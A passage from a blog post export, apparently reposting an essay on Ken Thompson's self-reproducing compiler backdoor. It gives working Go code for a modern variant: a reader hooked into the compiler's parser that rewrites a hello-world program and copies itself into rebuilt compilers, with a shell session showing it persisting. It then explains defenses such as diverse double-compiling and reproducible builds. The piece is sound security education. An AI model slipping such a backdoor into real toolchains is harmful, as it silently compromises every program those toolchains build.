itself, because V6 Unix binaries were rounded up to a 2-byte boundary. While&nbsp;<code>nihstr<\/code>&nbsp;gets one byte larger each time, the compiler binary gets two bytes larger every second time.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"modern\">A Modern Version<\/h2>\n\n\n\n<p>Even seeing the code run in the V6 simulator, it can be easy to mentally dismiss this kind of backdoor as an old problem. Here is a more modern variant.<\/p>\n\n\n\n<p>The Go compiler reads input files using a routine called&nbsp;<code>Parse<\/code>&nbsp;in the package&nbsp;<code>cmd\/compile\/internal\/syntax<\/code>. The input is abstracted as an&nbsp;<code>io.Reader<\/code>, so if we want to replace the input, we need to interpose a new reader. We can do that easily enough:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">     var p parser\n<strong>+    src = &amp;evilReader{src: src}<\/strong>\n     p.init(base, src, errh, pragh, mode)\n<\/pre>\n\n\n\n<p>Then we need to implement&nbsp;<code>evilReader<\/code>, which is not too difficult either:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">type evilReader struct {\n    src  io.Reader\n    data []byte\n    err  error\n}\n\nfunc (r *evilReader) Read(b []byte) (int, error) {\n    if r.data == nil {\n        data, err := io.ReadAll(r.src)\n        s := string(data)\n        if evilContains(s, \"package main\") &amp;&amp; evilContains(s, \"\\\"hello, world\\\\n\\\"\") {\n            s = evilReplace(s,\n                \"\\\"hello, world\\\\n\\\"\",\n                \"\\\"backdoored!\\\\n\\\"\")\n        }\n        if evilContains(s, \"package syntax\") &amp;&amp; evilContains(s, \"\\nfunc Parse(base *PosBase, src io.Reader\") {\n            s = evilReplace(s,\n                \"p.init(base, src, errh, pragh, mode)\",\n                \"src=&amp;evilReader{src:src}; p.init(base, src, errh, pragh, mode)\")\n            s += evilSource()\n        }\n        r.data = []byte(s)\n        r.err = err\n    }\n    if r.err != nil {\n        return 0, r.err\n    }\n    n := copy(b, r.data)\n    r.data = r.data[n:]\n    if n == 0 {\n        return 0, io.EOF\n    }\n    return n, nil\n}\n<\/pre>\n\n\n\n<p>The first replacement rewrites a \u201chello, world\u201d program to a \u201cbackdoored!\u201d program. The second replacement reproduces the change inside the compiler. To make this work inside the compiler, we need&nbsp;<code>evilSource<\/code>&nbsp;to return the source code of the&nbsp;<code>evilReader<\/code>, which we know how to do. The&nbsp;<code>evilContains<\/code>&nbsp;and&nbsp;<code>evilReplace<\/code>&nbsp;functions are reimplementations of&nbsp;<code>strings.Contains<\/code>&nbsp;and&nbsp;<code>strings.Replace<\/code>, since the code in question does not import&nbsp;<code>strings<\/code>, and the build system may not have provided it for the compiler to import.<\/p>\n\n\n\n<p>Completing the code:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">func evilIndex(s, t string) int {\n    for i := 0; i &lt; len(s)-len(t); i++ {\n        if s[i:i+len(t)] == t {\n            return i\n        }\n    }\n    return -1\n}\n\nfunc evilContains(s, t string) bool {\n    return evilIndex(s, t) &gt;= 0\n}\n\nfunc evilReplace(s, old, new string) string {\n    i := evilIndex(s, old)\n    if i &lt; 0 {\n        return s\n    }\n    return s[:i] + new + s[i+len(old):]\n}\n\nfunc evilSource() string {\n    return \"\\n\\n\" + evilText + \"\\nvar evilText = \\x60\" + evilText + \"\\x60\\n\"\n}\n\nvar evilText = `\ntype evilReader struct {\n    src  io.Reader\n    data []byte\n    err  error\n}\n\n...\n\nfunc evilSource() string {\n    return \"\\n\\n\" + evilText + \"\\nvar evilText = \\x60\" + evilText + \"\\x60\\n\"\n}\n`\n<\/pre>\n\n\n\n<p>Now we can install it, delete the source code changes, and install the compiler from clean sources. The change persists:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">% go install cmd\/compile\n% git stash\nSaved working directory ...\n% git diff  # source is clean!\n% go install cmd\/compile\n% cat &gt;x.go\npackage main\n\nfunc main() {\n    print(\"hello, world\\n\")\n}\n^D\n% go run x.go\nbackdoored!\n%\n<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"reflections\">Reflections on Reflections<\/h2>\n\n\n\n<p>With all that experience behind us, a few observations from the vantage point of 2023.<\/p>\n\n\n\n<p><a href=\"https:\/\/research.swtch.com\/nih#short\"><strong>It\u2019s short!<\/strong><\/a>&nbsp;When Ken sent me&nbsp;<code>nih.a<\/code>&nbsp;and I got it running, my immediate reaction was disbelief at the size of the change: 99 lines of code, plus a 20-line shell script. If you already know how to make a program print itself, the biggest surprise is that there are no surprises!<\/p>\n\n\n\n<p>It\u2019s one thing to say \u201cI know how to do it in theory\u201d and quite another to see how small and straightforward the backdoor is in practice. In particular, hooking into source code reading makes it trivial. Somehow, I\u2019d always imagined some more complex pattern matching on an internal representation in the guts of the compiler, not a textual substitution. Seeing it run, and seeing how tiny it is, really drives home how easy it would be to make a change like this and how important it is to build from trusted sources using trusted tools.<\/p>\n\n\n\n<p>I don\u2019t say any of this to put down Ken\u2019s doing it in the first place: it seems easy&nbsp;<em>because<\/em>&nbsp;he did it and explained it to us. But it\u2019s still very little code for an extremely serious outcome.<\/p>\n\n\n\n<p><a href=\"https:\/\/research.swtch.com\/nih#go\"><strong>Bootstrapping Go<\/strong><\/a>. In the early days of working on and talking about&nbsp;<a href=\"https:\/\/go.dev\/\">Go<\/a>, people often asked us why the Go compiler was written in C, not Go. The real reason is that we wanted to spend our time making Go a good language for distributed systems and not on making it a good language for writing compilers, but we would also jokingly respond that people wouldn\u2019t trust a self-compiling compiler from Ken. After all, he had ended his Turing lecture by saying:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>The moral is obvious. You can\u2019t trust code that you did not totally create yourself. (Especially code from companies that employ people like me.) No amount of source-level verification or scrutiny will protect you from using untrusted code.<\/p>\n<\/blockquote>\n\n\n\n<p>Today, however, the Go compiler does compile itelf, and that prompts the important question of why it should be trusted, especially when a backdoor is so easy to add. The answer is that we have never required that the compiler rebuild itself. Instead the compiler always builds from an earlier released version of the compiler. This way, anyone can reproduce the current binaries by starting with Go 1.4 (written in C), using Go 1.4 to compile Go 1.5, Go 1.5 to compile Go 1.6, and so on. There is no point in the cycle where the compiler is required to compile itself, so there is no place for a binary-only backdoor to hide. In fact, we recently published programs to make it easy to rebuild and verify the Go toolchains, and we demonstrated how to use them to verify one version of Ubuntu\u2019s Go toolchain without using Ubuntu at all. See \u201c<a href=\"https:\/\/go.dev\/blog\/rebuild\">Perfectly Reproducible, Verified Go Toolchains<\/a>\u201d for details.<\/p>\n\n\n\n<p><a href=\"https:\/\/research.swtch.com\/nih#ddc\"><strong>Bootstrapping Trust<\/strong><\/a>. An important advancement since 1983 is that we know a defense against this backdoor, which is to build the compiler source two different ways.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/research.swtch.com\/ddc.png\" alt=\"\"\/><\/figure>\n\n\n\n<p>Specifically, suppose we have the suspect binary \u2013 compiler 1 \u2013 and its source code. First, we compile that source code with a trusted second compiler, compiler 2, producing compiler 2.1. If everything is on the up-and-up, compiler 1 and compiler 2.1 should be semantically equivalent, even though they will be very different at the binary level, since they were generated by different compilers. Also, compiler 2.1 cannot contain a binary-only backdoor inserted by compiler 1, since it wasn\u2019t compiled with that compiler. Now we compile the source code again with both compiler 1 and compiler 2.1. If they really are semantically equivalent, then the outputs, compilers 1.1 and 2.1.1, should be bit-for-bit identical. If that\u2019s true, then we\u2019ve established that compiler 1 does not insert any backdoors when compiling itself.<\/p>\n\n\n\n<p>The great thing about this process is that we don\u2019t even need to know which of compiler 1 and 2 might be backdoored. If compilers 1.1 and 2.1.1 are identical, then they\u2019re either both clean or both backdoored the same way. If they are independent implementations from independent sources, the chance of both being backdoored the same way is far less likely than the chance of compiler 1 being backdoored. We\u2019ve bootstrapped trust in compiler 1 by comparing it against compiler 2, and vice versa.<\/p>\n\n\n\n<p>Another great thing about this process is that compiler 2 can be a custom, small translator that\u2019s incredibly slow and not fully general but easier to verify and trust. All that matters is that it can run well enough to produce compiler 2.1, and that the resulting code runs well enough to produce compiler 2.1.1. At that point, we can switch back to the fast, fully general compiler 1.<\/p>\n\n\n\n<p>This approach is called \u201cdiverse double-compiling,\u201d and the definitive reference is&nbsp;<a href=\"https:\/\/dwheeler.com\/trusting-trust\/\">David A. Wheeler\u2019s PhD thesis and related links<\/a>.<\/p>\n\n\n\n<p><a href=\"https:\/\/research.swtch.com\/nih#repro\"><strong>Reproducible Builds<\/strong><\/a>. Diverse double-compiling and any other verifying of binaries by rebuilding source code depends on builds being reproducible. That is, the same inputs should produce the same outputs. Computers being deterministic, you\u2019d think this would be trivial, but in modern systems it is not. We saw a tiny example above, where compiling the code as&nbsp;<code>ccevil.c<\/code>&nbsp;produced a different binary than compiling the code as&nbsp;<code>cc.c<\/code>&nbsp;because the compiler embedded the file name in the executable. Other common unwanted build inputs include the current time, the current directory, the current user name, and many others, making a reproducible build far more difficult than it should be. The&nbsp;<a href=\"https:\/\/reproducible-builds.org\/\">Reproducible Builds<\/a>&nbsp;project collects resources to help people achieve this goal.<\/p>\n\n\n\n<p><a href=\"https:\/\/research.swtch.com\/nih#modern\"><strong>Modern Security<\/strong><\/a>. In many ways, computing security has regressed since the Air Force report on Multics was written in June 1974. It suggested requiring source code as a way to allow inspection of the system on delivery, and it raised this kind of backdoor as a potential barrier to that inspection. Half a century later, we all run binaries with no available source code at all. Even when source is available, as in open source operating systems like Linux, approximately no one checks that the distributed binaries match the source code. The programming environments for languages like Go, NPM, and Rust make it trivial to download and run source code published by&nbsp;<a href=\"https:\/\/research.swtch.com\/deps\">strangers on the internet<\/a>, and again almost no one is checking the code, until there is a problem. No one needs Ken\u2019s backdoor: there are far easier ways to mount a supply chain attack.<\/p>\n\n\n\n<p>On the other hand, given all our reckless behavior, there are far fewer problems than you would expect. Quite the opposite: we trust computers with nearly every aspect of our lives, and for the most part nothing bad happens. Something about our security posture must be better than it seems. Even so, it might be nicer to live in a world where the only possible attacks required the sophistication of approaches like Ken\u2019s (like in this&nbsp;<a href=\"https:\/\/www.teamten.com\/lawrence\/writings\/coding-machines\/\">excellent science fiction story<\/a>).<\/p>\n\n\n\n<p>We still have work to do.<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>https:\/\/research.swtch.com\/nih Supply chain security is a hot topic today, but [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[34,5,33],"class_list":["post-208","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-compiler","tag-security","tag-supplychain"],"_links":{"self":[{"href":"https:\/\/haco.club\/index.php?rest_route=\/wp\/v2\/posts\/208","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/haco.club\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/haco.club\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/haco.club\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/haco.club\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=208"}],"version-history":[{"count":2,"href":"https:\/\/haco.club\/index.php?rest_route=\/wp\/v2\/posts\/208\/revisions"}],"predecessor-version":[{"id":210,"href":"https:\/\/haco.club\/index.php?rest_route=\/wp\/v2\/posts\/208\/revisions\/210"}],"wp:attachment":[{"href":"https:\/\/haco.club\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=208"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/haco.club\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=208"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/haco.club\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=208"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}